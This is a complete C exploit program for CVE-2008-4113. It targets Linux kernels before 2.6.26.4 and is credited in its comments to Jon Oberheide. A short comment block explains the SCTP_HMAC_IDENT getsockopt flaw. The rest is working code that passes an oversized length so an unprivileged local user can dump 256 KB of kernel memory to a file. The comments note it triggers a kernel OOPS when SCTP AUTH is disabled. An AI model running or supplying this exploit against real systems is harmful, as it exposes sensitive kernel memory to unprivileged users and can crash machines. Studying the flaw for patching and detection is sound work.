Linux Kernel SCTP Kernel Memory Disclosure Exploit

                							

                /*
 * cve-2008-4113.c
 *
 * Linux Kernel < 2.6.26.4 SCTP kernel memory disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113
 *
 *   The sctp_getsockopt_hmac_ident function in net/sctp/socket.c in the Stream
 *   Control Transmission Protocol (sctp) implementation in the Linux kernel 
 *   before 2.6.26.4, when the SCTP-AUTH extension is enabled, relies on an 
 *   untrusted length value to limit copying of data from kernel memory, which 
 *   allows local users to obtain sensitive information via a crafted 
 *   SCTP_HMAC_IDENT IOCTL request involving the sctp_getsockopt function.
 *
 * Notes:
 *
 *   If SCTP AUTH is enabled (net.sctp.auth_enable = 1), this exploit allow an 
 *   unprivileged user to dump an arbitrary amount (DUMP_SIZE) of kernel memory
 *   out to a file (DUMP_FILE). If SCTP AUTH is not enabled, the exploit will 
 *   trigger a kernel OOPS.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>

#ifndef SCTP_HMAC_IDENT
#define SCTP_HMAC_IDENT 22
#endif

#define DUMP_SIZE 256*1024
#define DUMP_FILE "mem.dump"

int
main(int argc, char **argv)
{
  int ret, sock;
  FILE *dumpfile;
  char *memdump, *err;
  socklen_t memlen = DUMP_SIZE;

  memdump = malloc(DUMP_SIZE);
  if (!memdump) {
    err = "malloc(3) failed";
    printf("[-] Error: %s (%s)\n", err, strerror(errno));
    return 1;
  }
  memset(memdump, 0, DUMP_SIZE);

  printf("[+] creating IPPROTO_SCTP socket\n");

  sock = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if (sock == -1) {
    err = "socket(2) failed";
    printf("[-] Error: %s (%s)\n", err, strerror(errno));
    return 1;
  }

  printf("[+] getting socket option SCTP_HMAC_IDENT with length of %d\n", memlen);

  ret = getsockopt(sock, SOL_SCTP, SCTP_HMAC_IDENT, memdump, &memlen);
  if (ret == -1) {
    err = "getsockopt(2) failed";
    printf("[-] Error: %s (%s)\n", err, strerror(errno));
    return 1;
  }

  printf("[+] dumping %d bytes of kernel memory to %s\n", memlen, DUMP_FILE);

  dumpfile = fopen(DUMP_FILE, "wb");
  if (!dumpfile) {
    err = "fopen(3) failed";
    printf("[-] Error: %s (%s)\n", err, strerror(errno));
    return 1;
  }
  fwrite(memdump, 1, memlen, dumpfile);
  fclose(dumpfile);
  
  printf("[+] done.\n");

  return 0;
}


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